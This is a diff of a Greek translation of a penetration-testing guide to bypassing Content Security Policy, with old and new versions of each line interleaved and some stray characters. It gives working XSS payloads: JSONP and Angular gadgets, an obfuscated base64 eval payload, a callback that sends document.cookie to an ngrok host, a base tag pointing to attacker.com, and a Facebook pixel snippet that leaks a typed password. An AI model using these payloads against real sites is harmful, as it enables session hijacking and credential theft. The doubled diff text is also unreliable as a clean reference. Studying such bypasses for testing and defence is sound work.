Από εδώ, αν βρείτε XSS και δυνατότητα file upload, και καταφέρετε να βρείτε μια **επέκταση που παρερμηνεύεται**, μπορείτε να δοκιμάσετε να ανεβάσετε ένα αρχείο με αυτήν την επέκταση και με το περιεχόμενο του script. Ή, αν ο server ελέγχει το σωστό format του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Αν δεν είναι δυνατή η έγχυση JS, θα μπορούσατε να προσπαθήσετε να εξάγετε για παράδειγμα διαπιστευτήρια **εγχύοντας μια ενέργεια φόρμας** (και ίσως περιμένοντας τους διαχειριστές κωδικών πρόσβασης να συμπληρώσουν αυτόματα τους κωδικούς). Μπορείτε να βρείτε ένα [**παράδειγμα σε αυτή την αναφορά**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Επίσης, σημειώστε ότι το `default-src` δεν καλύπτει τις ενέργειες φόρμας.
Αν δεν είναι εφικτό να εγχύσετε JS, μπορείτε ακόμα να δοκιμάσετε να εξάγετε, για παράδειγμα, credentials εγχύοντας ένα form action (και ίσως περιμένοντας από password managers να συμπληρώσουν αυτόματα τα passwords). Μπορείτε να βρείτε ένα [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Επίσης, σημειώστε ότι `default-src` δεν καλύπτει τα form actions.
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> Για μερικά από τα παρακάτω payload **`unsafe-eval` δεν είναι καν απαραίτητο**.
> Για κάποια από τα παρακάτω payload **`unsafe-eval` δεν είναι καν απαραίτητο**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads που χρησιμοποιούν Angular + μια βιβλιοθήκη με συναρτήσεις που επιστρέφουν το `window` αντικείμενο ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> Η ανάρτηση δείχνει ότι μπορείτε να **φορτώσετε** όλες τις **βιβλιοθήκες** από `cdn.cloudflare.com` (ή οποιοδήποτε άλλο επιτρεπόμενο αποθετήριο βιβλιοθηκών JS), να εκτελέσετε όλες τις προστιθέμενες συναρτήσεις από κάθε βιβλιοθήκη και να ελέγξετε **ποιες συναρτήσεις από ποιες βιβλιοθήκες επιστρέφουν το αντικείμενο `window`**.
> Το άρθρο δείχνει ότι μπορείτε να **φορτώσετε** όλες τις **βιβλιοθήκες** από `cdn.cloudflare.com` (ή οποιοδήποτε άλλο επιτρεπόμενο αποθετήριο βιβλιοθηκών JS), να εκτελέσετε όλες τις προστιθέμενες συναρτήσεις από κάθε βιβλιοθήκη, και να ελέγξετε **ποιες συναρτήσεις από ποιες βιβλιοθήκες επιστρέφουν το `window` αντικείμενο**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -231,9 +231,9 @@ Angular XSS από ένα όνομα κλάσης:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Κατάχρηση του κώδικα JS του google recaptcha
#### Κατάχρηση google recaptcha JS κώδικα
Σύμφωνα με [**αυτή την αναφορά CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε μια CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας την CSP:
Σύμφωνα με [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε ένα CSP για να εκτελέσετε αυθαίρετο JS κώδικα παρακάμπτοντας το CSP:
```html
<div
ng-controller="CarouselController as c"
@ -244,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Περισσότερα [**payloads από αυτήν την αναφορά**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Περισσότερα [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -261,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Κατάχρηση του www.google.com για ανοιχτή ανακατεύθυνση
#### Κατάχρηση του www.google.com για open redirect
Η παρακάτω διεύθυνση URL ανακατευθύνει στο example.com (από [εδώ](https://www.landh.tech/blog/20240304-google-hack-50000/)):
Η παρακάτω URL ανακατευθύνει στο example.com (από [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Κατάχρηση \*.google.com/script.google.com
Abusing \*.google.com/script.google.com
Είναι δυνατόν να καταχραστεί το Google Apps Script για να ληφθούν πληροφορίες σε μια σελίδα μέσα στο script.google.com. Όπως [γίνεται σε αυτή την αναφορά](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Είναι δυνατόν να καταχραστεί κανείς το Google Apps Script για να λάβει πληροφορίες σε μία σελίδα εντός του script.google.com. Όπως συμβαίνει σε αυτή την αναφορά [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Τρίτοι Σημειακοί Σταθμοί + JSONP
### Third Party Endpoints + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Σενάρια όπως αυτό όπου το `script-src` είναι ρυθμισμένο σε `self` και μια συγκεκριμένη τοποθεσία που είναι στη λίστα επιτρεπόμενων μπορεί να παρακαμφθεί χρησιμοποιώντας JSONP. Τα endpoints JSONP επιτρέπουν ανασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, λειτουργικό payload:
Σενάρια όπως αυτό όπου το `script-src` είναι ρυθμισμένο σε `self` και ένα συγκεκριμένο domain που είναι στη whitelist μπορούν να παρακαμφθούν χρησιμοποιώντας JSONP. Τα JSONP endpoints επιτρέπουν μη ασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, working payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,28 +289,28 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **περιέχει έτοιμα προς χρήση JSONP endpoints για CSP bypass διαφόρων ιστοσελίδων.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **περιέχει έτοιμα προς χρήση JSONP endpoints για CSP bypass σε διάφορους ιστότοπους.**
Η ίδια ευπάθεια θα συμβεί αν το **έμπιστο endpoint περιέχει ένα Open Redirect** γιατί αν το αρχικό endpoint είναι έμπιστο, οι ανακατευθύνσεις είναι έμπιστες.
Η ίδια ευπάθεια θα παρουσιαστεί αν το **trusted endpoint περιέχει ένα Open Redirect**, διότι αν το αρχικό endpoint είναι trusted, τότε και τα redirects θεωρούνται trusted.
### Καταχρήσεις Τρίτων
### Καταχρήσεις τρίτων
Όπως περιγράφεται στην [παρακάτω ανάρτηση](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλές τρίτες τομείς, που μπορεί να επιτρέπονται κάπου στο CSP, μπορούν να καταχρηστούν είτε για να εξάγουν δεδομένα είτε για να εκτελέσουν κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι:
Όπως περιγράφεται στο [ακόλουθο post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλά third party domains που μπορεί να επιτρέπονται κάπου στο CSP και μπορούν να καταχραστούν είτε για εξαγωγή δεδομένων είτε για εκτέλεση JavaScript κώδικα. Μερικοί από αυτούς τους τρίτους είναι:
| Οντότητα | Επιτρεπόμενος Τομέας | Δυνατότητες |
| ----------------- | ---------------------------------------------- | ------------- |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Οντότητα | Επιτρεπόμενο Domain | Δυνατότητες |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Αν βρείτε οποιονδήποτε από τους επιτρεπόμενους τομείς στο CSP του στόχου σας, οι πιθανότητες είναι ότι μπορεί να είστε σε θέση να παρακάμψετε το CSP εγγραφόμενοι στην υπηρεσία τρίτου μέρους και, είτε να εξάγετε δεδομένα σε αυτή την υπηρεσία είτε να εκτελέσετε κώδικα.
Αν βρείτε κάποιο από τα επιτρεπόμενα domains στο CSP του στόχου σας, υπάρχει πιθανότητα να μπορέσετε να παρακάμψετε το CSP εγγραφόμενοι στην υπηρεσία τρίτου μέρους και είτε να εξάγετε δεδομένα σε αυτήν την υπηρεσία είτε να εκτελέσετε κώδικα.
Για παράδειγμα, αν βρείτε το παρακάτω CSP:
Για παράδειγμα, αν βρείτε το ακόλουθο CSP:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
@ -318,80 +318,80 @@ Content-Security-Policy: default-src 'self www.facebook.com;
```
Content-Security-Policy: connect-src www.facebook.com;
```
Πρέπει να είστε σε θέση να εξάγετε δεδομένα, όπως γινόταν πάντα με [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Σε αυτή την περίπτωση, ακολουθείτε τα παρακάτω γενικά βήματα:
Πρέπει να μπορείτε να exfiltrate data, παρόμοια με το πώς γινόταν πάντα με [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Σε αυτή την περίπτωση, ακολουθείτε τα παρακάτω γενικά βήματα:
1. Δημιουργήστε έναν λογαριασμό Facebook Developer εδώ.
1. Δημιουργήστε έναν Facebook Developer account εδώ.
2. Δημιουργήστε μια νέα εφαρμογή "Facebook Login" και επιλέξτε "Website".
3. Μεταβείτε στο "Settings -> Basic" και αποκτήστε το "App ID" σας.
4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας την συσκευή SDK του Facebook "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
5. Μεταβείτε στο "Event Manager" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο.
3. Πηγαίνετε στο "Settings -> Basic" και πάρτε το "App ID" σας.
4. Στο target site από το οποίο θέλετε να exfiltrate data, μπορείτε να exfiltrate data χρησιμοποιώντας απευθείας το Facebook SDK gadget "fbq" μέσω ενός "customEvent" και του data payload.
5. Πηγαίνετε στην App σας "Event Manager" και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο event manager μπορεί να βρεθεί σε ένα URL παρόμοιο με αυτό: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τα events που αποστέλλονται από το "your" web site.
Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το pixel παρακολούθησης του Facebook ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:
Έπειτα, στην victim πλευρά, εκτελείτε τον ακόλουθο κώδικα για να αρχικοποιήσετε το Facebook tracking pixel ώστε να δείχνει στο attacker's Facebook developer account app-id και να εκδώσετε ένα custom event όπως το εξής:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Όσον αφορά τους άλλους επτά τρίτους τομείς που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τους εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων.
Όσον αφορά τους άλλους επτά third-party domains που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι να τους καταχραστείτε. Ανατρέξτε στο προηγούμενο [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για πρόσθετες εξηγήσεις σχετικά με άλλες καταχρήσεις από τρίτους.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Παράκαμψη μέσω RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Εκτός από την προαναφερθείσα ανακατεύθυνση για την παράκαμψη περιορισμών διαδρομής, υπάρχει μια άλλη τεχνική που ονομάζεται Relative Path Overwrite (RPO) που μπορεί να χρησιμοποιηθεί σε ορισμένους διακομιστές.
Εκτός από την προαναφερθείσα ανακατεύθυνση για παράκαμψη των περιορισμών μονοπατιού, υπάρχει άλλη τεχνική που ονομάζεται Relative Path Overwrite (RPO) και μπορεί να χρησιμοποιηθεί σε ορισμένους servers.
Για παράδειγμα, αν το CSP επιτρέπει τη διαδρομή `https://example.com/scripts/react/`, μπορεί να παρακαμφθεί ως εξής:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Ο περιηγητής θα φορτώσει τελικά το `https://example.com/scripts/angular/angular.js`.
Ο browser τελικά θα φορτώσει `https://example.com/scripts/angular/angular.js`.
Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από το `https://example.com/scripts/react/`, το οποίο είναι συμβατό με το CSP.
Αυτό λειτουργεί επειδή για τον browser φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από `https://example.com/scripts/react/`, το οποίο συμμορφώνεται με το CSP.
∑, θα το αποκωδικοποιήσουν, ζητώντας ουσιαστικά το `https://example.com/scripts/react/../angular/angular.js`, το οποίο είναι ισοδύναμο με το `https://example.com/scripts/angular/angular.js`.
Στη συνέχεια ο browser θα το αποκωδικοποιήσει, ζητώντας ουσιαστικά `https://example.com/scripts/react/../angular/angular.js`, το οποίο ισοδυναμεί με `https://example.com/scripts/angular/angular.js`.
Με **την εκμετάλλευση αυτής της ασυνέπειας στην ερμηνεία URL μεταξύ του περιηγητή και του διακομιστή, οι κανόνες διαδρομής μπορούν να παρακαμφθούν**.
**Εκμεταλλευόμενοι αυτή την ασυνέπεια στην ερμηνεία του URL μεταξύ του browser και του server, οι κανόνες διαδρομής μπορούν να παρακαμφθούν.**
Η λύση είναι να μην αντιμετωπίζεται το `%2f` ως `/` στην πλευρά του διακομιστή, διασφαλίζοντας συνεπή ερμηνεία μεταξύ του περιηγητή και του διακομιστή για να αποφευχθεί αυτό το ζήτημα.
Η λύση είναι να μην αντιμετωπίζεται το `%2f` ως `/` από την πλευρά του διακομιστή, διασφαλίζοντας συνεπή ερμηνεία μεταξύ του browser και του διακομιστή για να αποφευχθεί αυτό το πρόβλημα.
Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Παράδειγμα Online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Εκτέλεση JS σε Iframes
### Iframes JS execution
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### απουσία **base-uri**
### Ελλείπει **base-uri**
Εάν η οδηγία **base-uri** λείπει, μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε μια [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Αν η οδηγία **base-uri** λείπει, μπορείτε να την καταχραστείτε για να πραγματοποιήσετε ένα [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Επιπλέον, εάν η **σελίδα φορτώνει ένα σενάριο χρησιμοποιώντας μια σχετική διαδρομή** (όπως `<script src="/js/app.js">`) χρησιμοποιώντας ένα **Nonce**, μπορείτε να εκμεταλλευτείτε την **ετικέτα base** για να κάνετε **να φορτώσει** το σενάριο από **τον δικό σας διακομιστή επιτυγχάνοντας ένα XSS.**\
Εάν η ευάλωτη σελίδα φορτωθεί με **httpS**, χρησιμοποιήστε μια διεύθυνση httpS στη βάση.
Επιπλέον, εάν η **σελίδα φορτώνει ένα script χρησιμοποιώντας σχετική διαδρομή** (όπως `<script src="/js/app.js">`) και χρησιμοποιεί **Nonce**, μπορείτε να καταχραστείτε την **base** **tag** ώστε να **φορτωθεί** το script από **τον δικό σας server, επιτυγχάνοντας XSS.**\
Αν η ευάλωτη σελίδα φορτώνεται με **httpS**, χρησιμοποιήστε μια httpS url στην base.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS events
### AngularJS γεγονότα
Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο `$event`, που αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο `$event` μπορεί να εκμεταλλευτεί για να παρακαμφθεί η CSP. Σημαντικά, στο Chrome, το αντικείμενο `$event/event` διαθέτει ένα χαρακτηριστικό `path`, που περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox.
Μια συγκεκριμένη πολιτική, γνωστή ως Content Security Policy (CSP), μπορεί να περιορίσει τα JavaScript events. Ωστόσο, το AngularJS εισάγει custom events ως εναλλακτική. Μέσα σε ένα event, το AngularJS παρέχει ένα ξεχωριστό αντικείμενο `$event`, που αναφέρεται στο εγγενές αντικείμενο event του browser. Αυτό το αντικείμενο `$event` μπορεί να αξιοποιηθεί για να παρακάμψει την CSP. Σημειωτέον, στο Chrome, το αντικείμενο `$event/event` διαθέτει την ιδιότητα `path`, που περιέχει έναν πίνακα αντικειμένων εμπλεκόμενων στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι κρίσιμη για τεχνικές απόδρασης από sandbox.
Κατευθύνοντας αυτόν τον πίνακα προς το φίλτρο `orderBy`, είναι δυνατόν να επαναληφθεί, εκμεταλλευόμενοι το τερματικό στοιχείο (το αντικείμενο `window`) για να ενεργοποιηθεί μια παγκόσμια συνάρτηση όπως το `alert()`. Το παρακάτω απόσπασμα κώδικα διευκρινίζει αυτή τη διαδικασία:
Διευθύνοντας αυτόν τον πίνακα στο φίλτρο `orderBy`, είναι δυνατόν να τον επαναλάβουμε και να χρησιμοποιήσουμε το τελικό στοιχείο (το αντικείμενο `window`) για να καλέσουμε μια global συνάρτηση όπως `alert()`. Το παρακάτω παράδειγμα κώδικα αποσαφηνίζει αυτή τη διαδικασία:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Αυτό το απόσπασμα επισημαίνει τη χρήση της οδηγίας `ng-focus` για την ενεργοποίηση του γεγονότος, χρησιμοποιώντας `$event.path|orderBy` για να χειριστεί τον πίνακα `path`, και εκμεταλλευόμενο το αντικείμενο `window` για να εκτελέσει τη συνάρτηση `alert()`, αποκαλύπτοντας έτσι το `document.cookie`.
Αυτό το απόσπασμα αναδεικνύει τη χρήση του `ng-focus` directive για να ενεργοποιήσει το event, χρησιμοποιώντας `$event.path|orderBy` για την τροποποίηση του πίνακα `path` και αξιοποιώντας το αντικείμενο `window` για να εκτελέσει τη συνάρτηση `alert()`, αποκαλύπτοντας έτσι το `document.cookie`.
**Βρείτε άλλες παρακάμψεις Angular σε** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Βρείτε άλλες Angular bypasses στο** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS και το whitelist domain
### AngularJS and whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Μια πολιτική CSP που επιτρέπει συγκεκριμένα domains για τη φόρτωση σεναρίων σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης συναρτήσεων callback και ορισμένων ευάλωτων κλάσεων. Περαιτέρω πληροφορίες σχετικά με αυτή την τεχνική μπορούν να βρεθούν σε έναν λεπτομερή οδηγό διαθέσιμο σε αυτό το [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Μια πολιτική CSP που προσθέτει domains στη whitelist για script loading σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης callback functions και ορισμένων vulnerable classes. Περαιτέρω πληροφορίες για αυτή την τεχνική υπάρχουν σε έναν αναλυτικό οδηγό διαθέσιμο σε αυτό το [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Λειτουργικά payloads:
Working payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -399,15 +399,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Άλλες τελείες εκτέλεσης JSONP μπορούν να βρεθούν [**εδώ**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (μερικές από αυτές διαγράφηκαν ή διορθώθηκαν)
Άλλα JSONP arbitrary execution endpoints μπορούν να βρεθούν στο [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (μερικά από αυτά διαγράφηκαν ή διορθώθηκαν)
### Παράκαμψη μέσω Ανακατεύθυνσης
### Bypass via Redirection
Τι συμβαίνει όταν το CSP συναντά ανακατεύθυνση από την πλευρά του διακομιστή; Εάν η ανακατεύθυνση οδηγεί σε διαφορετική προέλευση που δεν επιτρέπεται, θα αποτύχει.
Τι συμβαίνει όταν το CSP συναντά server-side redirection; Αν η ανακατεύθυνση οδηγεί σε διαφορετικό origin που δεν επιτρέπεται, θα αποτύχει.
Ωστόσο, σύμφωνα με την περιγραφή στο [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), εάν η ανακατεύθυνση οδηγεί σε διαφορετική διαδρομή, μπορεί να παρακάμψει τους αρχικούς περιορισμούς.
Ωστόσο, σύμφωνα με την περιγραφή στο [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), αν η ανακατεύθυνση οδηγεί σε διαφορετική διαδρομή, μπορεί να παρακάμψει τους αρχικούς περιορισμούς.
Ακολουθεί ένα παράδειγμα:
Εδώ ένα παράδειγμα:
```html
<!DOCTYPE html>
<html>
@ -425,68 +425,69 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Αν το CSP είναι ρυθμισμένο σε `https://www.google.com/a/b/c/d`, καθώς η διαδρομή λαμβάνεται υπόψη, τόσο τα scripts `/test` όσο και `/a/test` θα αποκλειστούν από το CSP.
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από τον server σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι πρόκειται για ανακατεύθυνση, **η διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί στην πλευρά του server σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Εφόσον πρόκειται για ανακατεύθυνση, η **διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
Με αυτή την ανακατεύθυνση, ακόμη και αν η διαδρομή καθοριστεί πλήρως, θα παρακαμφθεί.
Επομένως, η καλύτερη λύση είναι να διασφαλιστεί ότι η ιστοσελίδα δεν έχει ανοιχτές ευπάθειες ανακατεύθυνσης και ότι δεν υπάρχουν τομείς που μπορούν να εκμεταλλευτούν στους κανόνες CSP.
Επομένως, η καλύτερη λύση είναι να διασφαλιστεί ότι ο ιστότοπος δεν έχει ευπάθειες open redirect και ότι δεν υπάρχουν domains που μπορούν να εκμεταλλευτούν στους κανόνες CSP.
### Παράκαμψη CSP με κρεμασμένο markup
### Παράκαμψη CSP με dangling markup
Διαβάστε [πώς εδώ](../dangling-markup-html-scriptless-injection/index.html).
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; μέσω XSS
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` σημαίνει ότι μπορείτε να εκτελέσετε οποιοδήποτε σενάριο μέσα στον κώδικα (το XSS μπορεί να εκτελέσει κώδικα) και `img-src *` σημαίνει ότι μπορείτε να χρησιμοποιήσετε στην ιστοσελίδα οποιαδήποτε εικόνα από οποιαδήποτε πηγή.
`'unsafe-inline'` σημαίνει ότι μπορείτε να εκτελέσετε οποιοδήποτε script μέσα στον κώδικα (το XSS μπορεί να εκτελέσει κώδικα) και `img-src *` σημαίνει ότι μπορείτε να χρησιμοποιήσετε στη σελίδα οποιαδήποτε εικόνα από οποιαδήποτε πηγή.
